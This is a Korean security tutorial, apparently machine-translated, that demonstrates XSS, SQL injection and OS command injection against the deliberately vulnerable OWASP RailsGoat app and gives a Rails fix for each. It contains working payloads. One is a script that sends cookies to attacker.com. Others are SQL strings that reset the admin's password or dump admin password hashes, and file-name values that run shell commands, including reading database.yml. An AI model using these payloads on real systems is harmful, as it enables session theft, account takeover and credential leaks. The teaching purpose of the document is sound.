사용자 데이터를 다루는 경우 안전한지 확인해야 합니다. 하지만 보안이 처음이라면 까다롭고 지루하고 복잡해 보일 수 있습니다.
이 기사는 일반적인 유형의 보안 취약점과 이것이 Rails 개발에 미치는 영향에 대해 설명하는 시리즈의 첫 번째 기사입니다. 우리는 OWASP Top 10 Web Application Security Risks를 이 지형에 대한 지도로 사용할 것입니다.
OWASP는 Open Web Application Security Project의 약자입니다. 웹의 중요한 보안 문제에 대해 전 세계에 알리기 위해 일하는 전문가 그룹입니다. 상위 10개 목록은 웹 애플리케이션에서 가장 일반적인 취약점을 나열합니다.
- 주사
- 깨진 인증
- 민감한 데이터 노출
- XML 외부 엔티티(XXE)
- 손상된 액세스 제어
- 보안 구성 오류
- 교차 사이트 스크립팅(XSS)
- 안전하지 않은 역직렬화
- 알려진 취약점이 있는 구성요소 사용
- 불충분한 로깅 및 모니터링
정기적으로 목록을 업데이트하지만 예상보다 덜 변경됩니다. 새로운 기술은 오래된 문제를 상속합니다. 이 기사에서는 특히 주입과 관련된 세 가지 주제를 다룰 것입니다.
- JavaScript 삽입 - 애플리케이션이 클라이언트에서 악성 데이터를 수락하면 데이터를 검증/삭제하지 않고 브라우저로 다시 보냅니다.
- SQL 삽입 - SQL 조각이 데이터베이스 쿼리의 일부로 안전하지 않은 SQL 인터프리터에 의도적으로 전송되어 인터프리터가 위험한 명령을 실행하거나 민감한 정보에 액세스하도록 속이는 경우입니다.
- OS 주입 - 공격자가 시스템 명령에서 데이터를 입력하는 보호되지 않은 애플리케이션에서 시스템 명령을 실행하려는 경우
우리는 이론에서 실습으로 이동하여 각각이 어떻게 작동하는지 완전히 보여줄 것입니다. 그럼 본격적으로 들어가 볼까요!
주사 위협
애플리케이션에서 데이터 소스를 관리하는 경우 그 안에 가능한 주입 벡터가 있습니다. 앱을 해킹하는 창의적이고 혁신적인 방법과 관련하여 해커는 당신을 놀라게 할 새로운 것을 계속 발명합니다.
주사의 공격의 세계로 시작합시다. 앱이 삭제되고 보호된다고 생각되면 다시 생각해 보세요.
자바스크립트 삽입
일반적으로 XSS(교차 사이트 스크립팅)로 알려진 JavaScript 삽입은 악성 데이터 및/또는 스크립트를 브라우저로 다시 보내도록 클라이언트가 신뢰하는 백엔드 애플리케이션을 속이는 것입니다.
이 경우 공격자는 사용자 브라우저에서 스크립트를 실행하여 세션을 도용하거나 애플리케이션 "이름으로" 민감한 정보를 요청하거나 사용자를 위험한 웹사이트로 리디렉션할 수 있습니다.
유명한 블로그 댓글 섹션을 예로 들어 보겠습니다. 애플리케이션이 완전히 취약하고 블로그의 새 댓글에 대한 POST를 수신하고 값이 삭제 없이 데이터베이스로 직접 전달된다고 상상해 보세요.
POST https://myblog.com/comments
data: <script>window.location='https://attacker.com?cookie='+document.cookie</script>
웹사이트에서 댓글 섹션을 새로고침하면 새 댓글을 가져와 브라우저에서 주어진 스크립트를 실행합니다.
응용 프로그램 페이지 내에서 실행되는 스크립트(완전히 허용됨)는 사용자의 쿠키 정보를 가져와 공격자의 사이트로 직접 보냅니다.
SQL 주입
SQL 인젝션은 이 입력이 쿼리에 연결(또는 보간)될 때마다 SQL 데이터베이스를 처리하는 애플리케이션이 사용자 입력을 안전하게 삭제하지 않을 때 발생합니다.
Rails 세계에서 알고 있을 수 있는 SQL 주입과 관련된 두 가지 주요 위협이 있습니다. 주입 연결 및 보간 . 차이점을 확인해 보겠습니다.
SQL 주입 연결 가장 유명합니다. 공격자가 HTTP 쿼리 매개변수 또는 요청 본문의 일부로 위험한 SQL 조각을 보낼 때 발생합니다. 애플리케이션 계층이 이러한 유형의 콘텐츠를 식별하고 삭제할 수 없는 경우 대부분의 데이터베이스에서 작동하는 트릭입니다.
예를 들어 민감한 정보를 검색하기 위해 사용자 이름으로 사용자를 쿼리한다고 가정해 보겠습니다.
User.where("name = '#{userName}'")
userName
정제되지 않은 사용자 입력인 경우 공격자는 매개변수의 값을 다음과 같이 변경할 수 있습니다.
' OR '1'='1' --
결과적으로 쿼리는 다음과 같이 변환됩니다.
SELECT * FROM users WHERE username = '' OR '1'='1';
가장 최근에 추가된 조건은 항상 true
이기 때문에 , 이 쿼리는 항상 실행되어 사용자로부터 수백 개의 중요한 데이터를 노출합니다.
SQL 보간 주사로 이어질 수 있습니다. 어떻게? 범위 지정 기능을 기억하십니까? Rails의 ActiveRecord? 메서드 호출로 참조하기 위해 많이 사용하는 쿼리를 지정할 수 있습니다(예:where
, joins
, 및 includes
) 연관 개체 또는 모델에 대한 다음 예를 들어보세요.
class User < ApplicationRecord
scope :filtered_name, -> { where(name: interpolated_string) }
end
나머지는 짐작하셨을 것입니다. where
가 있는 경우 개발자가 정리되지 않은 입력 값을 연결할 수 있도록 절을 사용하면 이전 예에서와 거의 동일한 SQL 삽입으로 이어집니다.
OS 주입
OS 주입은 응용 프로그램에서 사용자가 시스템 수준 명령을 입력하도록 허용하고 필터링하지 않을 때 발생합니다.
공격자는 응용 프로그램이 실행 중인 OS에 대한 자유 터널을 갖게 되므로 결과가 매우 위험할 수 있습니다. OS 기반 보안 계층이 설정되는 방식에 따라 해당 계층에서 실행 중인 다른 애플리케이션의 데이터와 파일도 노출될 수 있습니다.
Rails 코드베이스에서 다음 코드 라인 중 하나를 볼 때마다 OS 주입이 발생할 수 있다는 점에 유의하십시오.
%x[...]
system()
exec()
`my command` // the backticks
다음 Rails 구현을 고려하십시오.
new_path = "/root/public/images/#{some_path}"
system("ls #{new_path}")
주어진 some_path
클라이언트에서 오는 경우 공격자는 다음과 같이 값을 보낼 수 있습니다.
some_path = 'some/path; cat ./config/database.yml'
알았어, 그렇지? 자격 증명을 포함한 모든 데이터베이스 데이터(구성 클라우드에 안전하게 저장되지 않은 경우)는 공격자에게 노출됩니다.
RailsGoat 프로젝트
시간을 절약하고 처음부터 취약한 예제를 개발하는 것을 피하기 위해 운 좋게도 RailsGoat 프로젝트가 있습니다. 이것은 공식 OWASP GitHub 리포지토리에서 제공하는 무수한 오픈 소스 프로젝트(754개 프로젝트) 중 하나로, 보안 위협에 대해 개발자를 교육하기 위해 의도적으로 프로그래밍된 상위 10개 취약점의 대부분을 가진 Rails용으로 생성되었습니다.
이 시리즈에서 우리는 프로젝트 샘플을 사용하여 위험을 좀 더 심층적으로 탐색하고, 실제로 실행에 옮길 것입니다!
설정
더 진행하기 전에 이 프로젝트에는 Ruby, Git, MySQL 및 Postgres와 같은 필수 종속성이 있습니다. 계속 진행하기 전에 모두 컴퓨터에 설치되어 있는지 확인하십시오.
프로젝트를 설정하려면 먼저 로컬로 복제하십시오.
git clone https://github.com/OWASP/railsgoat.git
Ruby 2.6.5에서는 기본적으로 대상이 되므로 아직 설치하지 않은 경우 적절한 버전을 설치해야 합니다.
rvm install "ruby-2.6.5"
그런 다음 앱 루트 폴더에서 다음 명령을 실행합니다.
bundle install
rails db:setup
rails s
그들은 각각 Rails 프로젝트 종속성을 다운로드 및 설치하고, 데이터베이스를 설정하고, Rails 서버를 시작합니다.
몇 가지 조정
OS에 따라 그리고 RailsGoat가 약간 구식이기 때문에(최신 릴리스는 2018년 3월이었습니다), install
명령은 일부 오류를 생성할 수 있습니다. 예를 들어 Mac을 사용 중이고 콘솔에서 다음 오류가 발생하는 경우:
libv8에 대한 콘솔 오류
그런 다음 필요한 gem을 설치하기만 하면 됩니다.
gem install libv8 -v '3.16.14.19' -- --with-system-v8
아마도 비난할 또 다른 하나는 therubyracer입니다. 이 버전의 Ruby libv8과 관련된 버그로 인한 gem . 다음 명령을 실행해야 합니다.
brew install v8-315
gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/[email protected]
기본적으로 현재 설정은 SQLite를 기본 데이터베이스로 간주합니다. 그러나 다음 예에서는 실제 데이터베이스가 필요합니다. 우리는 MySQL을 사용할 것입니다.
먼저 config/database.yml 파일을 엽니다. mysql
찾기 노드를 만들고 MySQL 자격 증명에 따라 구성을 변경합니다. 데이터베이스 이름은 그대로 둘 수 있습니다.
Rails 서버를 중지하고 MySQL이 실행 중인지 확인하십시오. 그런 다음 다음 명령을 실행하십시오.
#Create the MySQL database
RAILS_ENV=mysql rails db:create
#Run the migrations against the database
RAILS_ENV=mysql rails db:migrate
#Seeds the database with initial records
RAILS_ENV=mysql rails db:seed
#Boot Rails using MySQl
RAILS_ENV=mysql rails s
또는 Docker를 통해 RailsGoat를 시작할 수 있습니다. 그것은 당신에게 달려 있습니다!
그게 다야! 이제 브라우저를 열고 RailsGoat 앱에 로그인할 수 있습니다. 자동 생성된 자격 증명은 상단 표시줄의 "자습서 자격 증명" 버튼에서 찾을 수 있습니다. 하나를 선택하되 관리자가 아닌지 확인하십시오.
MetaCorp Rails 애플리케이션
HTTP 프록시 설정
해커는 주로 HTTP 요청 및 응답과 같은 항목을 스니핑하여 작업합니다. 그들은 요청과 응답을 가로채고, 시각화하고, 수정함으로써 브라우저와 서버 사이에서 실행되는 HTTP 프록시 응용 프로그램을 사용합니다.
이 시리즈의 경우에도 이 중 하나가 필요하며 작업에 가장 적합한 도구는 Burp입니다. 기업용 유료 도구이지만 무료 커뮤니티 버전이 우리의 목적에 충분합니다. 따라서 공식 지침에 따라 다운로드하여 설치하십시오.
Burp는 Java로 만들어졌으므로 Java도 설치해야 합니다.
올바르게 작동하려면 이 지침을 따르십시오. 도구가 열리면 프록시> 가로채기로 이동합니다. 탭에서 "차단이 켜져 있음 버튼을 전환합니다. " 그리고 "브라우저 열기 ". 그러면 Burp에 직접 연결된 Google Chromium이 열리고 요청/응답을 스니핑할 수 있습니다.
거기에 뭔가를 입력하고 Burp가 어떻게 그것을 추적하는지 확인하십시오.
위협 실행
이제 앞에서 논의한 각 위협이 실제 시나리오에서 어떻게 발생하는지 살펴보겠습니다. JavaScript 주입부터 시작하겠습니다.
자바스크립트 삽입 실행
RailsGoat 앱에서 _header.html.erb를 엽니다. 보기/레이아웃/공유에 있는 파일 폴더. 다음 HTML 스니펫이 나타날 수 있습니다.
<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li>
글쎄, 이 Rails 메소드는 안전한 이름을 요구하지만 그렇지 않다는 것이 밝혀졌습니다. 문자열이 안전한 것으로 신뢰할 수 있는지 여부를 알려주지만 사용자 입력을 삭제하지는 않습니다.
Burp가 실행되고 있지 않은지 확인한 다음 등록 페이지로 이동하여 "이름" 필드에 다음을 입력하십시오.
<script>alert("hello, XSS!")</script>
등록을 마치고 새로 생성된 사용자로 로그인합니다. "Welcome " + the script code
를 표시하는 탐색 모음을 볼 수 있습니다. .
해결 방법
이것은 일반적인 오해입니다. 개발자는 일반적으로 이 방법을 사용하지만 데이터를 보호하지는 않습니다. 대신 sanitize
를 사용해야 합니다. HTML을 명시적으로 렌더링해야 할 때마다
예에서 .html_safe
를 제거하기만 하면 됩니다. , 공격이 제거됩니다.
좋은 팁은 SonarQube와 같은 도구를 프로젝트에 통합하는 것입니다. 이러한 도구는 위와 같은 일반적인 위협을 식별하고 개발자에게 위험과 해결 방법에 대해 경고합니다.
개발자의 기억에만 의존하는 것은 좋은 생각이 아닙니다.
SQL 주입:연결 예
RailsGoat SQL 주입 예제는 users_controller.rb 내에 있습니다. , 앱/컨트롤러 내부 폴더. 그것을 열고 내용을 검토하십시오.
데이터베이스 내에서 사용자 데이터를 만들고 업데이트하는 두 가지 주요 방법을 볼 수 있습니다. update
에서 문제를 감지할 수 있습니까? 방법? 가서 사용해 보세요!
여기 있습니다:
user = User.where("id = '#{params[:user][:id]}'")[0]
where 절에서 물건을 연결하는 것은 옳지 않다는 것을 알고 있습니다. 하지만 수정하기 전에 해킹 가능성을 테스트해보자.
Burp Chromium 브라우저에서 실행 중인 앱으로 돌아가서 계정 설정으로 이동합니다. 메뉴:
계정 설정에 액세스
그런 다음 Burp 도구를 열고 "Intercept가 켜져 있음 버튼이 있는지 확인합니다. "가 토글됩니다. 그런 다음 비밀번호 필드에 일부 값을 채우고 제출을 클릭하세요. .
Burp는 요청을 가로채고 Params 내에서 탭에서 아래에 표시된 것과 유사한 것을 볼 수 있습니다.
버프 모음 도구 - 매개변수 탭
예, 모든 요청 매개변수가 여기에 표시됩니다. 그들은 볼 수 있을 뿐만 아니라 편집도 가능합니다. Burp는 편집을 완료할 때까지 요청을 보류한 다음 서버에 릴리스합니다.
응답에 대해서도 동일한 작업을 수행할 수 있습니다.
좋습니다. 응용 프로그램을 속이겠습니다. 우리의 목표는 현재 로그인한 사용자가 아닌 관리자의 비밀번호를 업데이트하는 것입니다.
먼저 사용자의 email
을 제거해야 합니다. , first_name
, 및 last_name
관리자에 대해 이러한 값을 변경하는 것을 목표로 하지 않기 때문에 params.
둘째, user[id]
를 편집할 수 있습니다. 다음 매개변수 값:
0') OR admin = true -- '
무슨 일이야? 위에 표시된 값 6 현재 로그인된 사용자 ID를 나타냅니다. 그러나 우리는 이 사용자와 관련된 어떤 것도 변경하고 싶지 않습니다. 단지 관리자입니다. 0은 OR
이후의 조건 이후로 좋은 사람과 관련이 없습니다. 우리에게 중요한 것입니다.
관리자의 ID를 모른다는 점을 고려하면(알면 시간을 절약할 수 있음) admin
을 통해 데이터베이스를 선택하도록 속여야 합니다. 역할 열.
편집이 끝나면 전달을 클릭합니다. 버튼을 눌러 요청이 해제되고 관리자의 비밀번호가 업데이트됩니다.
이것은 SQL Rails가 생성할 것입니다:
SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '')
이제 새 비밀번호로 관리자 계정에 로그인하세요.
해결 방법
이 문제를 해결하는 몇 가지 안전한 방법이 있습니다. 클라이언트 요청에서 오는 내용에 관계없이 데이터베이스가 업데이트되기 전에 항상 데이터베이스에서 사용자를 검색할 수 있습니다.
단, 개발자의 코딩 스타일에 따라 다르며 항상 보장되는 것은 아닙니다.
그래서 매개변수화된 데이터베이스 쿼리를 구출합니다! 보자:
user = User.where("id = ?", params[:user][:id])[0]
그것만큼 간단합니다! 더 이상 해킹이 없습니다.
SQL 주입:보간 예
RailsGoat에서 각 요청은 감사 기능으로 데이터베이스에 저장됩니다. 이 예에서는 analytics.rb를 분석해 보겠습니다. hits_by_ip
라는 범위를 저장하는 클래스 . 데이터베이스의 요청 데이터를 나열하는 관리 기능입니다.
이 모델이 범위 내에서 문자열을 어떻게 보간하는지 살펴보세요.
scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") }
그러나 이 접근 방식은 위험합니다! 왜 그런지 봅시다. 일반 사용자로 로그인했기 때문에 일부 메뉴가 표시되지 않지만 해당 엔드포인트를 사용할 수 없다는 의미는 아닙니다. 따라서 https://localhost:3000/admin/1/analytics 주소에 액세스하십시오.
우리는 localhost 수준에서 작업하기 때문에 127.0.0.1 아래에서만 데이터를 찾을 수 있습니다. IP. 그러나 프로덕션에서는 클라이언트 IP를 검색합니다.
따라서 127.0.0.1을 입력합니다. "IP로 검색 " 텍스트 상자를 입력하고 Enter 키를 누르십시오. Burp 도구에서 가로채기 버튼을 켜는 것을 잊지 마십시오.
Params에 있으면 탭에서 추가를 클릭할 수 있습니다. URL의 새 매개변수를 추가하는 버튼 다음 이름을 입력하고 지정하십시오.
field[(select+group_concat(password)+from+users+where+admin=true)]
범위는 보간된 문자열을 수신하므로 원하는 만큼 선택 쿼리에 규칙을 추가할 수 있습니다. 특히 이 쿼리는 다음과 같이 바뀝니다.
SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC;
이는 우리가 데이터베이스에서 관리자 해시 암호를 검색하고 이를 우리 보기에 직접 표시한다는 것을 의미합니다.
관리자의 해시된 비밀번호 쿼리
이 문제를 해결하는 방법은 무엇입니까?
우선, 사용자가 액세스해야 하는 항목에만 액세스할 수 있는지 확인하십시오. 이러한 엔드포인트는 액세스하거나 보호되지 않아야 합니다.
또 다른 예방 방법으로 허용해야 하는 값을 화이트리스트에 추가하고 허용하지 않아야 하는 값을 제한할 수 있습니다. parse_field
살펴보기 동일한 모델 클래스 내의 메소드. 주어진 필드가 화이트리스트 배열에 포함되어 있는지 확인합니다.
따라서 모델의 범위를 호출하기 전에 매개변수를 반복하고 매개변수가 괜찮은지 확인할 수 있습니다. admin_controller.rb의 18행을 업데이트하여 수행해 보겠습니다. (범위 호출):
fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",")
OS 주입 실행
RailsGoat 내에서 OS 주입의 예를 살펴보겠습니다. benefits.rb 열기 앱/모델 아래의 모델 폴더에서 make_backup
을 확인하세요. 방법.
이 방법은 "혜택 양식을 통해 업로드되는 파일의 백업 사본을 생성합니다. " 섹션을 참조하십시오. 메소드가 system
을 사용한다는 점을 제외하고는 여기에 문제가 없어 보입니다. 명령:
silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") }
얼핏 보면 맞는 것 같지만 다시 한 번 보세요. 사용자 입력에서 다른 시스템 명령을 완벽하게 추가할 수 있으며 파일 생성과 같이 정상적으로 실행됩니다.
잠깐, 이것은 파일 업로드 기능입니다. 파일의 입력을 어떻게 업데이트할 수 있습니까? 실제로 사용해보자.
RailsGoat 앱으로 돌아가서 "Benefit Forms" 메뉴를 클릭하고 원하는 파일을 선택하고 Burp 차단 버튼을 켭니다. 그런 다음 업로드 시작을 클릭합니다. .
요청을 가로채면 아래와 같이 헤더 내용을 볼 수 있습니다.
파일 업로드 차단됨
이미지에서 두 개의 강조 표시된 매개변수를 볼 수 있습니다. benefits[backup]
및 benefits[upload]
.
첫 번째 값을 true
로 변경해야 합니다. 파일을 백업하는 흐름을 활성화하고 따라서 취약점이 존재하는 위치에 있기 때문입니다.
다음으로 filename
을 변경합니다. 다음에 대한 두 번째 매개변수의 속성:
filename="kid-2.png;+touch+abc.txt"
그런 다음 차단 버튼을 놓습니다. 이것은 실행이 끝날 때 새 명령으로 변환되어 abc.txt라는 새 파일을 생성합니다. . 단순할 뿐만 아니라 흐름이 얼마나 취약하고 해커에게 완벽한 놀이터인지 보여주는 좋은 예입니다.
OS 주입으로부터 보호
다소 명백해 보일 수 있습니다. 누군가가 명령 시스템을 통해 파일을 복사하는 이유는 무엇입니까? 당신은 거기에서 실행되는 레거시 애플리케이션의 수에 충격을 받을 것입니다. 이들 중 상당수는 거대한 코드베이스로 구성되어 있어 이러한 취약점을 탐지하는 작업을 엄청난 작업으로 바꿀 수 있습니다.
예, Ruby의 FileUtils와 같은 공식 내부 라이브러리를 사용하십시오.
FileUtils.cp
"#{full_file_name}",
"#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}"
마무리
오늘 우리는 주입 보안 위협의 난류를 헤쳐나갔습니다. 이 문서가 주입 문제와 관련된 모든 관련 문제를 다루지는 않지만 OWASP에서 식별한 것처럼 가장 유명한 문제를 탐구합니다.
보너스로 해당 주제에 대한 지식을 향상시키는 데 도움이 되는 몇 가지 중요한 링크를 제공하겠습니다. 물론 첫 번째 기사는 OWASP Top Ten 기사입니다. 예제와 다양한 시나리오가 포함된 다른 기사에 대한 외부 링크가 많이 있습니다.
Rails SQL 주입은 실제 예제를 통해 일반적인 SQL 주입을 다루는 커뮤니티의 일부 구성원이 선별한 컴파일된 문서입니다. 지금까지 다룬 내용에 이어 반드시 읽어야 합니다.
마지막으로 공식 Security Rails 문서를 사용할 수 있습니다. 주입을 포함하여 Rails 애플리케이션 내의 보안과 관련된 모든 것을 다룹니다. 그러니 꼭 꼼꼼히 읽어보세요. 공부를 계속하고 다음 장소에서 뵙겠습니다!